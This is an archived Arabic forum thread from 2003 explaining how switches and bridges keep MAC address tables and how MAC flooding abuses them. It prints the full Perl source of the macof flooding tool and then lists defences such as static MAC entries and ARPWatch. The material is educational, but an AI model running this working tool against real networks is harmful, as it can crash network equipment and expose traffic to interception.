الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

MacOF Attacking

مغلق
بدأه Net Spider في 14 ديسمبر 2003 · 8 رد · 5,924 مشاهدة · في ارشيف منتدى أنظمة الشبكات وأمنها
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

ده موضوع بسيط يتعلق بأمن الشبكات

والموضوع يتناول مشكلة macof الامنية التي تستغل في الهجوم على السويتشات او الجسور Switchs & Bridge في شبكات LAN

مقدمة :

====

طبعا لازم نكون عارفين وظائف الجسور والسويتشات والـ hub والفرق بينهم...

ملخص سريع عنهم :

الـ hub او الموزع بالعربي .. هو جهاز شائع الاستعمال في الشبكات من نوع النجمة او Star Networks

صورة لشبكة Star تضم عدة اجهزة يتوسطها hub باللون الاخضر

star.JPG

اهم نقطة لكي نستطيع التفرييق بين الـ Hub وبين اجهزة الشبكة الاخرى انه لا يقوم بتصفية حركة مرور الشبكة

ماالمقصود بـ "تصفية حركة المرور" ؟

لو فرضنا ان جهاز A قام بأرسال اشارة الى جهاز B موجود على الشبكة نفسها ... اذن الاشارة ستنطلق من الجهاز A و تروح اولا الى الموزع Hub ..

النقطة المهمة انه بعد ذلك يقوم الموزع بارسال الاشارة او الرسالة الى جميع الاجهزة على الشبكة ... حيث ترفضها جميع الاجهزة معدا الجهاز B اللي الاشارة المفروض تروحلو .... اذا الموزع Hub غير قادر على ارسال الاشارة من جهاز A الى جهاز B مباشرة ... لكن يقوم بتوزيعها على جميع الاجهزة في الشبكة ... وبالتالي التسبب ببطيء الشبكة وضعف الاشارة نسبيا .

ننتقل الى السويتش Switch .. وهو مشابه للموزع Hub في استخدامه مع شبكات Star مع الاختلاف عنه في نقطتين .. وهما :

السويتش يقوم بتكرار الاشارة وتوليدها من جديد وبالتالي زيادة قوة الاشارة

اما اهم ميزة للسويتش انه يحتوي على جداول توجيه تحتوي على عناوين MAC Address ووظيفتها هو تصفية حركة مرور الشبكة

اي انه عندما يقوم جهاز A بارسال اشارة الى جهاز B على الشبكة .. فيقوم السويتش بأستقبال الاشارة من A وتوجيهها الى B مباشرة دون توزيعها الى جميع اجهزة الشبكة كالموزع hub

اذا نستنتج ان السويتشات تأخذ قرارتها بناء على العنواين MAC بينما الموزعات Hub لا تأخذ اي قرارات

صورة سويتش :

s3580_combo.jpg

صورة سويتش لكن من الداخل :

switch.gif

نلاحظ انه يحتوي على وحدات طاقة كهربائية حيث يحتاجها في تكرار الاشارة على عكس الموزع الذي لا يحتوي على اي منها

اما الجسر فهو يستخدم في تقسيم الشبكات المحلية وتصفية الترافيك او حركة المرور ايضا ..

يعني نستنتج ان الجسر Bridge يحتوي ايضا على جداول توجيه تحتوي على عناوين MAC لتوجيه الـ packets في الشبكة .. كما نرى في الصورة :

bridge.jpg

طبعا اللي يحب التوسع في المجال يشوف كتب ومواضيع متخصصة

مواقع ذات صلة :

http://www.arabsecure.net/n_networks.htm

http://www.c4arab.com/showsection.php?secid=13

كتب شبكات لميكروسوفت وسيسكو ونوفل

http://www.arabsecure.net/books.htm

==============================================

ننتقل الى المشكلة الامنية...

كما ذكرنا سابقا , تحتفظ السويتشات والجسور بجدول يحتوي على عناوين MAC لجميع الاجهزة على الشبكة

مالمقصود بالـ MAC Address ?

الـ MAC Address هو عنوان فريد لكرت الشبكة او NIC اي انه كل كرت شبكة في العالم في اي شبكة له عنوان MAC فريد يميزه ويكون ثابت .. كعنوان IP Address ولكن عنوان MAC هو عنوان فيزيائي

المهم .. اللي عاوز يعرف العنوان MAC لكرت الشبكة بتاعه .. يعمل الامر التالي على الشيل او في الدوس

arp -a

بعد ماتعمل الامر هايطلعلك الماك ادرس بتاعك مشابه للرد اللي حصل عندي ده

Interface: 62.139.150.45 --- 0x10403
  Internet Address      Physical Address      Type
  62.139.155.33         00-01-48-00-6e-ab     dynamic

اعتقد الان فهمنا الغرض من تخزين عناوين MAC لاجهزة الشبكة في جدول السويتش والجسر .. طبعا الغرض استخدامه ( MAC ) لتوجيه الباكيت الى بورتات محدده الى الاجهزة على الشبكة مباشرة

وده يخلي السويتشات والجسور هدفا للهجوم من قبل الهاكرز

هناك نصوص برمجية كـ macof يمكن استخدامهما لجعل الجسور والسويتشات تفيض بعناوين MAC عشوائية ... طبعا لازم يكون السويتش او الجسر يقبل بتخزين عناوين MAC جديدة اليه وده هو الشائع

ممكن تشبيه العملية بالكوكيز ... لما تدخل موقع معين .. يقوم بتسجيل الكوكيز في جهازك .. لكي يسهل عليك الوصول الى الموقع مرة اخرى او استكمال نشاطك عليه

تقوم نصوص macof بأرسال الكثير من عناوين ماك عشوائية الى السويتش لكي تخزن في جداوله مما يؤدي الى :

اولا انهاك ذاكرة السويتش او الجسر وعدم توفر اي مساحه لذاكرة الجهاز ويجعله بطيئا

وثانيا يتم امتلاء جدول السويتش بعناوين MAC مزيفة وهذا يجعل الـ packets لا تصل الى وجهتها على الشبكة .. اي تعطيل الشبكة بأكملها

صورة اثناء هجوم MacOF

fogie3_fig3.jpg

بأمكان المهاجم ايضا ان يقوم بعمل Spoofing للسويتش او الجسر وذلك عن طريق اغراق السويتش بعناوين MAC Address خاصة بالمهاجم .. اي تغيير معلومات العنونة .. وسيقوم السويتش بأرسال بيانات الشبكة الى العنوان المزيف .. ولكن يشترط ان يمتلك المجاهم كرتين شبكة او عنوانين MAC مختلفان زي ماهو موضح في الصورة تحت

fogie3_fig5.jpg

طبعا لن ندخل في تفاصيل الـ ARP Spoofing ...

ممكن نخليها لدرس اخر

هذه احد نصوص macof

وقد تم تطبيقها على سويتشات من نوع 3com Superstack Switch 3300

-----------------------------------------------------------------------------------------

#!/usr/bin/perl -w

#

# macof v. 1.1

# By Ian Vitek ( ian.vitek@infosec.se )

# Tests network devices by flooding local network with MAC-addresses.

#

# Needs Net::RawIP (http://quake.skif.net/RawIP)

# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)

#

# Example: ./macof -e <mac_of_def_gate> -n 1000000

# ./macof -r -n 1000000

# (run it several times)

#

# Warning: This program could cause serious problems on your network.

# This program could hang, crash or reboot network devices.

# Switches could start sending packages to all ports making it

# possible to intercept network traffic.

#

#

require 'getopts.pl';

use Net::RawIP;

Getopts('hvrs:e:d:x:y:i:n:');

sub GenMAC

{

my $tmp_mac="00";

my $i=0;

# generate random mac-address

while($i++ < 5) {

$tmp_mac.=":" . sprintf("%x",int rand 16);

$tmp_mac.=sprintf("%x",int rand 16);

}

return($tmp_mac);

}

$a = new Net::RawIP;

die "usage: $0 [options]\

\t-d dest_host\t\t(def:random)\

\t-s source_host\t\t(def:random)\

\t-v \t\t\tprints generated mac-addresses\

\t-r | -e dest_mac \trandomize or set destination mac address\

\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\

\t-x source_port\t\t(def:random)\

\t-y dest_port \t\t(def:random)\

\t-i interface \t\tset sending interface \t\t(def:eth0)\

\t-n times\t\tset number of times to send \t(def:1)\

\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

# set default values

$opt_i=eth0 unless $opt_i;

$opt_n=1 unless $opt_n;

$s_host=$opt_s if $opt_s;

$d_host=$opt_d if $opt_d;

$s_port=$opt_x if $opt_x;

$d_port=$opt_y if $opt_y;

# choose network card

if($opt_e) {

$a->ethnew($opt_i, dest => $opt_e);

} else {

$a->ethnew($opt_i);

}

# Loop

for($times=0; $times < $opt_n; $times++) {

# Check if one or two mac-addresses should be generated

$mac=&GenMAC;

if($opt_r) {

$d_mac=&GenMAC;

print "$d_mac \t$mac\n" if($opt_v);

# set mac-addresses

$a->ethset(source => $mac, dest => $d_mac);

} else {

print "$mac\n" if($opt_v);

# set mac-address

$a->ethset(source => $mac);

}

# generate random source and destination ip-addresses

$s_host=17000000+int rand 4261000000 unless $opt_s;

$d_host=17000000+int rand 4261000000 unless $opt_d;

# generate random source and dest ports

$s_port=int rand 65535 unless $opt_x;

$d_port=int rand 65535 unless $opt_y;

# set network package

$a->set({ip => {saddr => $s_host, daddr => $d_host},

tcp => {source => $s_port, dest => $d_port}

});

# send

$a->ethsend;

}

-----------------------------------------------------------------------------------------

بالنسبة الى الحماية من هذه المشكلة الامنية .. فلا يوجد حتى الان حل فعلي لها

ولكن اذا كنت صاحب شبكة تحتوي على سويتشات وجسور فحاول اتباع الاتي :

هناك بعض السويتشات والجسور تسمح لك بكاتبة تطابقات ARP وعنواين MAC يدويا , فأذا كنت قادرا على كتابة عنواين MAC بنفسك في جدول السويتش اذا قم بمنعه من تعلم او استقبال عنواين MAC جديدة ( انصح بالاطلاع على Manual الخاص بالسويتش او الجسر )

ايضا حاول ابقاء اجهزة شبكتك محدثة بأحدث رقع الامان من البائع

واخيرا قم بأستخدام برامج مثل ARP Watch الذي يقوم بمراقبة النشاط في الشبكة والاحتفاظ بقاعدة بيانات فيها تطابقات العناوين MAC الى عناوين IP وتنبيهك من حصول تغيرات في تطابقات ARP تلك

Author : Net Spider

والسلام عليكم

There's no place

like 127.0.0.1

#2

شِكرا نت سبايدر على الموضوع المميز الذي وضع في المكان المخصص له وهو امن الشبكات :)

تحياتي لك

.Believe an expert,believe on who has had experience..

Education Is Not an End , But it's a means To An End

Linux All The Way Babe

#3

السلام عليكم ,,

بارك الله فيك أخي Net Spider على الموضوع الرائع ,, وهذا مانريد فعلا ,,

وأعتقد أخي RaNdVo أن خير من يحمي الشبكات هم الهاكرز ,, :)

بالتوفيق ,,

banner_60_468.gif

NOTHING IS IMPOSSIBLE

#4

بالتاكيد اخي HGB , الهاكرز يجب عليهم تنميه مواهبهم لاستثمارها بطرق سليمه ومربحه لهم ايضا من جانب العلم والمال :)

.Believe an expert,believe on who has had experience..

Education Is Not an End , But it's a means To An End

Linux All The Way Babe

#5

اخوي Net Spider الله يعطيك العافيه على هالموضوع ...

معلومه حلوه واسلوب جميل

سبحان الله وبحمدة ...سبحان الله العظيم

.

ask2me5@hotmail.com

#6

موضوع ممتاز

يرجى طرح المزيد من المواضيع الأمنيه اذا أمكن

وشكرا

#7

شكرا لك على هذه المعلومات ...............

#8

العفو ياشباب

وان شاء الله سيكون هناك مزيدا من المواضيع الامنية قريبا

تحياتي لك RaNdVo

تم تعديل هذه المشاركة بواسطة طارق إبراهيم في 9 أكتوبر 2004 في 05:21

There's no place

like 127.0.0.1

#9

عاجزوووووووووووووون عن الشكر

سقيت من حوض الجنة بيد الحبيب المصطفى صلى الله عليه وعلى اله وسلــلم

هذا الموضوع مغلق.